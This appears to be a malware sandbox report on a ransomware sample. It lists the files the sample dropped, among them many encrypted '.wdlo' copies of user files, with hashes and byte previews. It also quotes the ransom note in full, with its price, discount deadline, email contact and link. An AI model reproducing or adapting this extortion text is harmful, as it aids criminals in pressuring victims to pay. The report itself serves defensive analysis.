SSDEEP:	24576:PiRfh70SeiN9YqxCCg83udcWXDYajPF2410wuRpGfFki94qSe/wsNfzUU:PiRX24gQu3TPZ2psFkiSqwozJ
MD5:	6F0233F1792BB01BF1D2026F09BBF0A0
SHA1:	0D801DB2F8F3B9D948D54D7DC520693FE9AF2D6E
SHA-256:	E65A50D615207C8B1C07D38B8AF294A183EAE371D8AF711E5D8BEA7469B16A7E
SHA-512:	D8D471EDECA372FD9C0258A549B4F7D422FF2E6FFB783F9EB48B73E5DF009E9082A78125A6EBEDB7549B1836FD032F0563FF0E6303C46B074D5E3C31C3E8F506
Malicious:	true
Preview:	MZ....%.b..\|....o...UT.".f1j..........J..y.}...XI0}J..A.Y...(..Pr.-G..c.....i....WG.n~}.+.e...c0..}.u7'E,...m..m...IBUv...nZ..s..p.~1^.h.D.H..;m.........l..!.L.X..&%..e=.\|z/..o`];b7.%c'......<...!.....eb.].../..,...[.+..O.....J.>..X.!..h)....S\..L#.)..u.&...P.4.S`.....Z2............Pg.~I...9.r.5...t.5.-g.....q.w%.z..{.em$.]. .+x...sY..=h..K..I...&.h~..$..0..ESf.).M?..31..zI./.0..sP...........@\|R.xi`.../.KsV<..D...e......Y"o.q.`.l...)....`r..1;.W.}..xp?..S..F.4......D(.Yz~.<.8&...{.0.;.v./.B....,.V..W.Ljh,N..K..........[M.0f.Ib..l..J<..~/...\.6QX\|.1xr..M.(..&.u$.=.y....}....g......o...k'4N.......!.._.7..I.p.4.N..cB.e..........)9.A.&E...r.o..lhD.T@....9.[nY.P..fZ...\.j."..`$.7...u.;.6.D.....z/.>....-..:./>.;....9........2a(q....3B_....TD..UK....ng .....7.x..W..$0.....$......b].L.e._&UN.wz..5..>...Rd-.x....P....).`d....9....L..k.-GQ..x...MK...\}...e.$.A5.J7.....J........+w..f.W.P..3S...^P8..U......S..n.R.[+9l;r.-.5V%-..M.\zOv....#ny...(&.].

C:\Users\jones\Local Settings\Temp\wct49A7.tmp.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	65188
Entropy (8bit):	7.996890390355125
Encrypted:	true
SSDEEP:	1536:NP+/YQDh1lmD2Q86IKM0aMQhMdLQm6scrOkYWvO+5zttMjKwOH:N2dDh1lmDpIKMGJdLKRrrYWDzttDH
MD5:	CB31837BE5DE340413BDFF5937C21D6F
SHA1:	819A75270C91F1B7C98518CBDE86F807C5EBF23C
SHA-256:	9F7955EA2B436134DB3D8D6C7187948AB567C08A5B8DCDDCB3C8E85135D28F5B
SHA-512:	20A0D247A3E76F88BA4FA555BF15FCCAF390FF90F90C30FD67773D4F388BEF6EF8C47E31A66E1E86AAF2EE24A5A4F056477E00693ECC624EC499FF5AB3E25FD1
Malicious:	true
Preview:	{"ram.2...m..[.....w...y........*i.Y,k\.AR.e<.......>\./C....E.S.@....q...6...a...<..5xAuH..,9.L...'\...\..X.p.=o.CS(d...U......q.\|X.2.../..g..s.d..~p8.....L^&y3....V..#b.BV.[W.(.........J..?.b...jJ.............\...oil..7..PF...{.@kk.......6W.9.f...O......K}.tv.n.].x.......(`z.-r,.<....ds.]K..Q..._).._.h.O.p....T...cI..s.)...?.../k^.V0r02.x.^....\.....aq.9..<.y..h.ZU.....1Rc.zhQR.w.....t.i...@jk8.m.Bw.~.!t...D..S...8...3.^.z..w.....d,..n.`...../..\X....B...a..-.w.$...wb...l...x..4..Q....h.7XW.!2.........i.)...`)3..~T....E......5.[VH2G.$1 .A,}....C.).v...'Zd ..n.r.'n.E...........Q.T....G.A..(Gq.#.S....;..k.]O..7\|.j...l[N.@.:.,...v....7!Q/.V/...d.N.Z4.HA.8Z*.K..O...I...Q.!.._;..c.i.........IY.......U.`J..-b........M.@7..........PD.@.....[..(z.F....~..Z`.L.Zr..#...........:.P2&....I..8.....-q...@&.o.d..J...."?..Cdk{.b..6.../.."X.\|.1..b..N_.O.S.O...N...gS.."...!...3.8.d...U/&sN.. .Y..........Q+...2.,.N..Y..yg..U.........b.;7.Z....a)

C:\Users\jones\Local Settings\Temp\wctAB5F.tmp.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	74525
Entropy (8bit):	7.997321731036003
Encrypted:	true
SSDEEP:	1536:NRHVNtTyHUL/7w4ah4pj6jecKBVGpJYC5b/+iCac8/Uu1LQgn:zVPYbqvtBg7x+iTcU1Qgn
MD5:	68321D32684BE117B7D04391AD5F8195
SHA1:	7E8017DA76ACB00B74B37022E93C15BF52356FE3
SHA-256:	79DEB2BE11F43C8D08AF1B957D7A3B7DAD7CC07DA5479267631F4427FEEFE307
SHA-512:	A9FB1B2CFE0FB7912EA73EEB2461ACF61032CF10492AEF01DF7D9AA4F9B4C946B0009D485A87669F304B722F5D46BD7E58ADF8587E4AF26ADC3D0F0AB4A8F7DD
Malicious:	true
Preview:	{"ram.......<.J,.j.......u.g.....p..9...+.c..>....M.....$...)..#.!g...A.v.H."..K.O]...r.D..v.}v....,b...H....E\|.o.....N..Ai.....o~z4}EE~.J..72..~.....A.<;>.+.'C.!uP.....w@.....D..N.....];.....,X+.9./....P.....~.3.P........Q..".n....E.T...$+"z..s...uo.P.G.8.T......^...Y .{.+...[.).iJ`..,.o....%1z.'.b......S........E..A..z.{..yn.f.NL...F.v.............,.H.......BfC0._...8.9LF..d....5.j...D.ek:.._..?.W8..]...G.:ph}.y\.o...../.?p......;...c.1..P}'..:...3!W.....`(.R.!^P.....]...Z..a.jo...H......C....4..D.:....G.........6....x.WpR..........<;...).`..bDk.."....8...Yqq..c.cDy.{4.Le'....kTT+m...N..hi0.w..{.p...R.p.......0kwD....bs.b.jz.YS....x.8.?..a(..&...D4.....F.@......-..f6+ii.....2h.......C.#...g..i.. `....o.0o...b.../.K@i..l...=~.E.aT_..I.)...N....#p.i..-.He.........LP...&{.&G..O..w..D..).z...T.`7..]....?.f...%4.v..uT.......=..j$.X.jLN..l.....)..BN.7.k..'p.q...r.T...=.@..}r.?.......**..~;-wH.f4ng2.'t`..@.l._.0...<t.&?...G..-zW......'

C:\Users\jones\Local Settings\Temp\wctDB2E.tmp.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	65188
Entropy (8bit):	7.997428966921231
Encrypted:	true
SSDEEP:	1536:a9kwOkWt01zBszlomzHYZMdElkSabj/qM39A:aSuny2MdhBbqqe
MD5:	89AD5B6F4F3B9CD03F7C898951EB4F5A
SHA1:	191B3A761B3A0BEA55C17ED7BD195870E20B5C79
SHA-256:	61A499FD2B57D9F83B028DA07DBF403FA16A9F643C6C5FD9B8F0C12E2EC0DEF3
SHA-512:	8BBBA043F21FF706A8AA534ADCD66C518A315EECBD77BB44F0E0E5E4751C20B19BB56BD7FD7C07352D91976C98AE8DCC7E1D815C6CD07E05031C060F686DB12A
Malicious:	true
Preview:	{"ram....c.6G......M\|.~.,~>$Go^....c..>P._.L.-.b.P.B....D....C&..-u...b.+L..zB{Z.F......k..D.......&-.R......h.....Z..v.m....h}.f..<.._W...Q.6f9......n.._9Y.].hI.._...sZ..q..T.."q#....\z.t...J.C...QB.B.0....!..c......J.LX..V.jN... .3I..9.x..K.....]...3{#..!....B.......Q.6....P..A1..6%gmF........wU...1..S6.b....e:...h.E..oG.R....M..a.@.&%.).@..e.E.....XO.i..{...D..)...I.....r. .%.)R.V.C...J...cB/.'.....]..8#o.G... .Br..V1....A.$.I..~C. ..........~.....%..j...p\J.\|-u....;.".os.6z.....4.6..........NP..R........A..<M..\..........B..}p.gA..7\.>....K..k.(.....!.R....>g.G.YZ~....B./n..j..jj.....n..Y..../..2...."......h.Q....g..{.....{]r...o.@u._.....uF.>.#..E...X.s..y.aq.6....cQ..:M.&.kl...e...>.\f......%.!8.CB...4w@.#.S.~........Jz.T.....K..h..t.[.`5c..A9..!..]t.....1..Y..i!"..e>h#'..HO.W;;....qHMt...k....JJW..o.D9.`.F...Q?>M..`..B.....p5G..$....t......(.r..U..0.........Y`.........%;]A.`.a.C;.f.D..-...o..%!m..C....]."k...:....N..j:.....

C:\Users\jones\Local Settings\Temp\wctE4A4.tmp.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	74525
Entropy (8bit):	7.997273837234553
Encrypted:	true
SSDEEP:	1536:PPyq1wFtgjeScsrVvgvgj8OimWpuR0VWmpodU4LJQLtDs60s482wrMJM:i6e9yYm8TPpkUHtOO1d
MD5:	213621F01C6E7F4B6D9A35A8B69F37DD
SHA1:	A5103B4B6DA6190BA7D1353D201C2AB4E9EB04E0
SHA-256:	E08106230DAC874D7A303465BB623881C6D992D99450E6ADF2FEED77FDFA53C4
SHA-512:	4F8398A685A465838C82ACE14A176C2D50A9A45ACDECBF40306B58073BE33C9694724A81A8755B8B784A6795688858AEF840C3315F06B4D9F761F6F7161F7B53
Malicious:	true
Preview:	{"ram..tQ..v...4.M..O......#x.W{{.=.,<v...E...N.QP:.F..'d.P.I+o\|..RI`..o.......?.. ....w...7.[T...q..w.#>...I....^_...bp.....R.H..2.eh./.6..V......o...alW.R?.q..#.Hz.QtU}P..O.....OFq..w......."...s...B..,.u..@.F...o...0.l^.a.).~..j.4....J.....=.D.F....z..O.F.\...%_...Zn.L......x..i..P...#..r.0.F..........4.S.....7m2.....0..Jl^.9U=v...)...B.qj2...B..c..3-...).O."7......+.W....:i.;...o.<......2....>..T.0r}}....Se..LI.=..^..._f.L.`}V....y.^[..h.S........e..kp4$.v...g3.nv...M....M.H...0....,.^...A.......m{'F.j..D.Gh..,..n...w;\|..P.......f.t...r:..-..s.A:..o.}..F..20..V..//.....KD.V...K...v...v....%..w.a/.r..:...c.{..`....#..'7.I9...$.....H..-"..q.Z9....h.\|..L..e..p...aN.G...A.~.A. ..=.+`...\.....]z.bN..TPS'..Y1[:.........3m.`..-f..*..0.....+<..=5..{....H.Z?..?..L...1...v......%.&>.N.1..H.R7...tN$z.1.Y...]8...I.{..~...><...../d.>..-@....;..-..t.......D.........FL.6u......4.....R.......iO:...5...?.3d..v.I6\|u.L..kr.N_N!m.$7.......3,cfF.

C:\Users\jones\Local Settings\Temp\wctEA40.tmp.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	74540
Entropy (8bit):	7.997566865997146
Encrypted:	true
SSDEEP:	768:da+cTVfQoCjn/ze6z+wIbwDS3tF0chdCADMc2+O9wPIL2Sz4T6E7r1clImpXXzWj:dah6p1S3tPhnDbO9FLb+6n99XKsO4i26
MD5:	37AE2B2A602BD6214E075DF6BC0BEEB1
SHA1:	B6409B9559C6455F2C864381BDB7ED7602B8AF12
SHA-256:	7C99938B68D637234ADB2A1425ED2FF4431B3B44CB27ECD5BF654AC15D4E4E05
SHA-512:	EBCE7E7006F43BC85869A6E842784BEDC76D2857AF518FF73E7C50C47FA8F80F5C82CFCCCB0CB76264FD60F5F1E7CDB3CCD5DEF9CE2A9EFD2A13CB107CEF5B2E
Malicious:	true
Preview:	{"rammNr......qP).^.. ..i..M......A.B%.S..4....;p.bI.VR....>.u.Q1[.Z^C^.Z......O.aWw...7.....~...'.M...j..+..]...[Z<.. ..rrm...y.......]D..R.f...R&....wNV;{rq.......M....UV....y.75V.$R.KW;iw..N....#b).7.R.&.'\@>....e....P...H.?..i.....;....3.5.`....r......C....0:.......u.ALg....q.X."..(}.!...gv..fw..:.G..X.....!q.k...X.H.BB8..+...N........F>..7...v\|=..j.!.^xw?.....U!..+-H.Ap...h.N...2..ef.o.8.5./....gr.wY...)'...WR6C....P........hI...0.'NB..j.g'.z.N...1......^gV...6.%..Ia....:Qhf....."...9...f...r.....$.)......}..Z<..m..$..d{Z.......4...bqP.<...P ...^.>."..\.xh.......%3\......6.E..oBi6..B..[..g...`{........$.......W..g.....Z...v...#{d...~...S"hP....D9..D.{ltH..F..._....c.....f..Y..P...?..W...S...o\|\|..4.~...dn;L.kJP..~......5]..E....=.W~..6.c..U....K..r..A....\....bC.8.....R.r6..w....hBV.)lt..B..\|.\...S.;......)O..3..x.h.....r....C.....6.[,.]w.b..+.....Fy....k.l.o..#........fM.".;......h.].]Qo...........A..l.L.@...N.4...

C:\Users\jones\NTUSER.DAT

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	3408206
Entropy (8bit):	4.9147814285223035
Encrypted:	false
SSDEEP:	49152:YSQ6dVyaOIUWUpElep2eHkpaNYug/mpaNYUn:PQ6dVyk1
MD5:	44AE7298AD32B10A27B81186AC895CA2
SHA1:	DB4C30B333E94159C33142052C74B35BE706AF27
SHA-256:	E68F95E0DB9BA0AE9648E3A2823AEFD01BB026A4DA99622EC0EE7E922015D25A
SHA-512:	E1A6A6364A15AF303EE995365B73E171AD456EEB2D188101D4CCF4280C9643F6EE5CBBD0C9BBD1CD22DFB065803E6D28EE69B66892AF10EC34199A58FBBF23C7
Malicious:	false
Preview:	regf....e.,..O.......~._=..QF..A...4&..+..f.b.A...G..rc.m.Y..p~:W[..._.\!.r.&mG.r......K...-...?-.L.]...tF..)\|..G.2.x..A.w....-i..&{8..P.....5..+b..y.z.h:......%y....#....K....Y$...bQ.c...6..;.M....R.o...d'.U+.(..?.2....[7\|p.!..{+...:.e..\.#.}.v.f...!m...\|..H.....s....6..x..]^8.'3-...6...~d/.........q....GD..\../...{`.=R...G.>1.....s&a.....(A5...f.]...N..x)t......@.K[.L.^....h.9..u...S..'..%...jG.Sqod.M...j......~QT..q..b......8G.{a........acQ.....[.x....,8[y[7......f^S.!....@i}t..T.9.....k..:....u.VR......U:..UY....%O....@...3..V..."..rJ.q,A.R..".;3...g....@..O.`..q...s..n<.r^1.0A.Q...Z......S..ey.>.L.>........".$K[lDj.......R.Q-.....TU.....^M......w..._..6neYM.{.9.(..H....!3...C.@..0.`"+R._n.....=n..l...Q.Q..d..;.[....V..L.i.d...m._......pb.}...E..H...7..:.....~Wn.t~.M.&..pD.b\|x...E.."\|y`...9....GY.SHj...".-6` ...-R.~....v......8Z.0..D.h.D..,.qp.b......1....R2.. .M..B.f...a.hg.yO...^......]....)....).LKJ....5..G..H...)=...J./....].e

C:\Users\jones\NTUSER.DAT.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	3408206
Entropy (8bit):	4.9147814285223035
Encrypted:	false
SSDEEP:	49152:YSQ6dVyaOIUWUpElep2eHkpaNYug/mpaNYUn:PQ6dVyk1
MD5:	44AE7298AD32B10A27B81186AC895CA2
SHA1:	DB4C30B333E94159C33142052C74B35BE706AF27
SHA-256:	E68F95E0DB9BA0AE9648E3A2823AEFD01BB026A4DA99622EC0EE7E922015D25A
SHA-512:	E1A6A6364A15AF303EE995365B73E171AD456EEB2D188101D4CCF4280C9643F6EE5CBBD0C9BBD1CD22DFB065803E6D28EE69B66892AF10EC34199A58FBBF23C7
Malicious:	false
Preview:	regf....e.,..O.......~._=..QF..A...4&..+..f.b.A...G..rc.m.Y..p~:W[..._.\!.r.&mG.r......K...-...?-.L.]...tF..)\|..G.2.x..A.w....-i..&{8..P.....5..+b..y.z.h:......%y....#....K....Y$...bQ.c...6..;.M....R.o...d'.U+.(..?.2....[7\|p.!..{+...:.e..\.#.}.v.f...!m...\|..H.....s....6..x..]^8.'3-...6...~d/.........q....GD..\../...{`.=R...G.>1.....s&a.....(A5...f.]...N..x)t......@.K[.L.^....h.9..u...S..'..%...jG.Sqod.M...j......~QT..q..b......8G.{a........acQ.....[.x....,8[y[7......f^S.!....@i}t..T.9.....k..:....u.VR......U:..UY....%O....@...3..V..."..rJ.q,A.R..".;3...g....@..O.`..q...s..n<.r^1.0A.Q...Z......S..ey.>.L.>........".$K[lDj.......R.Q-.....TU.....^M......w..._..6neYM.{.9.(..H....!3...C.@..0.`"+R._n.....=n..l...Q.Q..d..;.[....V..L.i.d...m._......pb.}...E..H...7..:.....~Wn.t~.M.&..pD.b\|x...E.."\|y`...9....GY.SHj...".-6` ...-R.~....v......8Z.0..D.h.D..,.qp.b......1....R2.. .M..B.f...a.hg.yO...^......]....)....).LKJ....5..G..H...)=...J./....].e

C:\Users\jones\Searches\winrt--{S-1-5-21-2246122658-3693405117-2476756634-1002}-.searchconnector-ms

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1193
Entropy (8bit):	7.833970715302874
Encrypted:	false
SSDEEP:	24:e0Eep/ouyUeuqDXcXvfRp/ZVbwd3QehcH9sWprETFgT7cf/wgn3zbD:eVepAwFqLKBprbwpQeGKumFgUAgn3nD
MD5:	D939369352C20B6A3591717256D1330F
SHA1:	0AFA329A2CABB3538D3D550C734F696F8A56AE2F
SHA-256:	2C5E5ABFBC7421B175A201BF77ED8D2A87629CBAD6CE441CB49A4E42AA90EAF6
SHA-512:	D9F3B98A920A6EEE3B3615DE0272B6662B653B1AA47BB3B794C7FA8808FF653DE6484B687991C9EFF2FB73D328BA9CA5E52094848768F0966FB6F364F1C853ED
Malicious:	false
Preview:	<?xmlV..=.0.DV.....,/\|S...J..sQ/y9..>F2.r...@.%..\%.H........Q.o.0....6}f.>?:c.MU....l..^..0;..)...8&..H....iIz...../..Af.qR....Q....s.P..GzF..\4xU..$.Br,B..^.#$...z.G.>..O.\|,b.<[..YNPs..<)7#..W.m..Z....].".Q....tQ......i..$6..=.3M6....4-..F...V....g6.mk$..~\.. .N=.B>......R..&.&..Pzdglt.k.77B...fv.k.:8..2...{.....^..Nu.......i......kv.H.s.>.$..@. .!..Y".....'.j.J:...<z..7. NJ...?..!A...P.p.".$..Tt....z..e.B.(N.....o..}...}...@..Oz.........1....f@...0m}p.!.<.....=..I(..Z.5.r.6o.....j2.c8.._d..z.0n..mp.j..9~..N...=.. 5F.....>Q.q..XmR./U....Xt5.^..p..i..&...{.+...II&.X./.....u.4...m..n..p..v.k....Rq...........T.ijvq.rA.H.v..~.'...3...W`#... ...:....T.i.6..@...b........]...e^.o..Z"q...L.Y.z.v.4..#>I.P.....*..\|......{.FE......N..t.V<...}.....9..N......-...Icd.@....]...(2jw......ae/<.k.H.n.[.;..I...w....e.W(.$..p.!....K...k..RN.(. l..a..le..xg..A...Z....d:...o.]f..M.h........b.i..O...y .m.o=.I6..w.%......G.t..7;..m....J1M..N....3...Y>....y..a.DK..k

C:\Users\jones\Searches\winrt--{S-1-5-21-2246122658-3693405117-2476756634-1002}-.searchconnector-ms.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1193
Entropy (8bit):	7.833970715302874
Encrypted:	false
SSDEEP:	24:e0Eep/ouyUeuqDXcXvfRp/ZVbwd3QehcH9sWprETFgT7cf/wgn3zbD:eVepAwFqLKBprbwpQeGKumFgUAgn3nD
MD5:	D939369352C20B6A3591717256D1330F
SHA1:	0AFA329A2CABB3538D3D550C734F696F8A56AE2F
SHA-256:	2C5E5ABFBC7421B175A201BF77ED8D2A87629CBAD6CE441CB49A4E42AA90EAF6
SHA-512:	D9F3B98A920A6EEE3B3615DE0272B6662B653B1AA47BB3B794C7FA8808FF653DE6484B687991C9EFF2FB73D328BA9CA5E52094848768F0966FB6F364F1C853ED
Malicious:	false
Preview:	<?xmlV..=.0.DV.....,/\|S...J..sQ/y9..>F2.r...@.%..\%.H........Q.o.0....6}f.>?:c.MU....l..^..0;..)...8&..H....iIz...../..Af.qR....Q....s.P..GzF..\4xU..$.Br,B..^.#$...z.G.>..O.\|,b.<[..YNPs..<)7#..W.m..Z....].".Q....tQ......i..$6..=.3M6....4-..F...V....g6.mk$..~\.. .N=.B>......R..&.&..Pzdglt.k.77B...fv.k.:8..2...{.....^..Nu.......i......kv.H.s.>.$..@. .!..Y".....'.j.J:...<z..7. NJ...?..!A...P.p.".$..Tt....z..e.B.(N.....o..}...}...@..Oz.........1....f@...0m}p.!.<.....=..I(..Z.5.r.6o.....j2.c8.._d..z.0n..mp.j..9~..N...=.. 5F.....>Q.q..XmR./U....Xt5.^..p..i..&...{.+...II&.X./.....u.4...m..n..p..v.k....Rq...........T.ijvq.rA.H.v..~.'...3...W`#... ...:....T.i.6..@...b........]...e^.o..Z"q...L.Y.z.v.4..#>I.P.....*..\|......{.FE......N..t.V<...}.....9..N......-...Icd.@....]...(2jw......ae/<.k.H.n.[.;..I...w....e.W(.$..p.!....K...k..RN.(. l..a..le..xg..A...Z....d:...o.]f..M.h........b.i..O...y .m.o=.I6..w.%......G.t..7;..m....J1M..N....3...Y>....y..a.DK..k

C:\Users\jones\SendTo\Bluetooth File Transfer.LNK.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1383
Entropy (8bit):	7.867971373673612
Encrypted:	false
SSDEEP:	24:q9ejxRUdhcum9oflGtosF5Cg5OMYlF06FMahtLU0D5oUb3zbD:aA0xctLFQg4lF0+MC3NoUb3nD
MD5:	8FC29FFE28FDB67E4EC916504D0794E3
SHA1:	47895DC72BFA668E82566EFF223B7B89011B6280
SHA-256:	9B7A5265473415CF961A3938161782D8CFCF5E14874E15CA7DE51CA934B046B3
SHA-512:	BB5FA1A1CFD9C19723555D3DE4144B598C67F71981CB5814F26DFE0F45A500328F33B228401DDC783303C3BA67E6231BA530DD95346D82D329C5BB34849ABB2B
Malicious:	false
Preview:	L......S....K..CO.m.).....jT}0..fG.....j..%..4..l..u8a....\|B..J....5.I.......p. W5.S_z..=....`mu..?&..q.......s..yuK.VG.[..q.!\gv..)-.b7.........?.k..HE.....;.t.........[..l7....h.F..A:.+?..;F..U......S.n....W.N.a:M..^..v.'m....x.I.a+*+6.b.........R.A.R.#.\@..neG9.W.K.......Nd~..l...^Z.....t..X.....Y,A'Rd..r...\R.P.c..v..$Uj.........~...1.....T..+. f.q..%.e.._..Jj\'s...S.#.T...#...(.]...N..B.I......\|6.!g-..P.a...Wo=a.9`..~...h..N.....2.m7=)..hLQ.....B...g...%b&~@.c.Vg.4.Z.bA.\|.jw...b..a.%a........H.h..pn:.tx.3..F.....^G.9$.Up..~8`.....\.[.#6...Y..\..^.;ch.[.w.Oir....To..XY....3..\...oF.Ge.d...T..rx.;...<....N~..&We.8....id...I....K.b:.IjW.....>.'.X..Q..;=..H.Y.....\8n}F.0_b.u...DA.Y.....j.u.L7.......L~.I.g.d...`.^.......lm..>.....E1.J ..>.}...c.`..'....7.#M.....Y.L#.HB...?Z........!o......{PZ,.[\\|..6..{p^&.o........{..W....#.^.A..._..d..-9.e.H...B..\|).2VJm.G.sK..Y..J..X...B...+....:.n..{.C:]..G...&.w.$3O.s...3.......u.9.W.......vw..

C:\Users\jones\SendTo\Desktop (create shortcut).DeskLink.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	341
Entropy (8bit):	7.270176749116191
Encrypted:	false
SSDEEP:	6:51isfJUu2XknwxGaOAfslTu4d9wijpAewL2bROsVolWbz6Wcii96Z:+Qj20nOMB59ZjU2v36Wcii9a
MD5:	F9BB25BDC443EC00FE5CB19C78373CA3
SHA1:	2E2F64CD2B4C4B39E2C018FE95A54D1F11B284E6
SHA-256:	8D2925DD8E7CD3555978F91B43810CF3F8E55ECFC1FE16E6994EAB54CAB84FB6
SHA-512:	0919B540B3A346179310986E495931DB51730ACBF86C86364D173AAB6EF5C9E41E9BDD7E8DC027D4D154AB81668D3646C89380737C3378E3B2BFF1F09B67E920
Malicious:	false
Preview:	deskt......B:/....3E1......j..48...,....1..K.........].i=9b1.......RY...W.`......].Fp.?.{0...+..O..\sU..vL$_.......N..L.w.....D.{....d4`.A.b..i..>....f-._..+~&......}..*mQd.M.y.Uy..@R.mk......%.<#....K..8.r...l..A.....&<K=jr. ...Y=T....s..r.du..2.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\_readme.txt

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1106
Entropy (8bit):	4.884025328365006
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYLuWtfFmFRqrl3W4kA+GT/kF5M2/kAApJx13b:WZHfv0p6WVFPFWrDGT0f/kj53b
MD5:	35779C10C1797CD75D7E64C8579FED59
SHA1:	68C0A5BF86F957E8976300A74F20F2785EEE204A
SHA-256:	ABE1851BFD95CAC28F57A85B9770513ECB91F6A1629F879832AE653BD808CBE5
SHA-512:	E2A89A0143FBA496DCCE1322CCDF88A576BEBB2F8D0C1EA13D2F5CF288D689DEA27672DCE969CE49AE9740E06C31E8B0FD197A447997D6B54DEEE1F56E483022
Malicious:	true
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...You can get and look video overview decrypt tool:..https://we.tl/t-0S984cQ4B3..Price of private key and decrypt software is $980...Discount 50% available if you contact us first 72 hours, that's price for you is $490...Please note that you'll never restore your data without payment...Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.......To get this software you need write on our e-mail:..support@sysmail.ch....Reserve e-mail address to

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Users\user\AppData\Local\Temp\lgYdZ.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.372435999736374
Encrypted:	false
SSDEEP:	6144:nFVfpi6ceLP/9skLmb0ayWWSPtaJG8nAge35OlMMhA2AX4WABlguNMiL:FV1QyWWI/glMM6kF7yq
MD5:	720E0E9919C2660C95C5ECB161E2A4AA
SHA1:	2F83D24B79421E8132091BA24BE088BEF43A4EB4
SHA-256:	35169A787170CF4FFACC525A1D01B26DA098349A004B59ADA3F6A81CDE3F584F
SHA-512:	93D8F56906A815E14CC54BCF7A6C0C9E43123B9BDD33AD203650768176AE0C54B30BD812F2BC78CCC15B1EA31853269E1F7B7376ED9880A4D66EAFFDFA8A0ED2
Malicious:	false
Preview:	regfD...D....\.Z.................... ....@......\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmF..6'................................................................................................................................................................................................................................................................................................................................................[..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\_readme.txt

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1106
Entropy (8bit):	4.884025328365006
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYLuWtfFmFRqrl3W4kA+GT/kF5M2/kAApJx13b:WZHfv0p6WVFPFWrDGT0f/kj53b
MD5:	35779C10C1797CD75D7E64C8579FED59
SHA1:	68C0A5BF86F957E8976300A74F20F2785EEE204A
SHA-256:	ABE1851BFD95CAC28F57A85B9770513ECB91F6A1629F879832AE653BD808CBE5
SHA-512:	E2A89A0143FBA496DCCE1322CCDF88A576BEBB2F8D0C1EA13D2F5CF288D689DEA27672DCE969CE49AE9740E06C31E8B0FD197A447997D6B54DEEE1F56E483022
Malicious:	true
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...You can get and look video overview decrypt tool:..https://we.tl/t-0S984cQ4B3..Price of private key and decrypt software is $980...Discount 50% available if you contact us first 72 hours, that's price for you is $490...Please note that you'll never restore your data without payment...Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.......To get this software you need write on our e-mail:..support@sysmail.ch....Reserve e-mail address to

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.2183261390345965
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
